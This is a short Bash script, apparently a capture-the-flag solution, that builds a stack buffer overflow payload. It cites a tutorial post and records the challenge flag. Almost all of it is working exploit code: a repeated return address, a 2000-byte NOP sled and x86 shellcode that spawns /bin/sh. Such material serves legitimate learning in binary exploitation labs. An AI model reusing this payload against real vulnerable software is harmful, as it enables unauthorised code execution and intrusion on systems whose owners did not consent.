17 lines
554 B
Bash
17 lines
554 B
Bash
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#!/bin/bash
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# sources: https://hg8.sh/posts/binary-exploitation/buffer-overflow-code-execution-by-shellcode-injection/
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# flag{THEY_SEE_ME_SLIDIN_THEY_HATIN}
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######### Exploit #########
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# Step 1: Fill the buffer with a candidate return address
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printf "\x0c\xd6\xff\xff%.0s" {1..30}
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# Step 2: Write a lot of NOPs to stdout as a slide for the shellcode
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printf "\x90%.0s" {1..2000}
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# Step 3: Write the provided shellcode to stdout
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printf "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
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###########################
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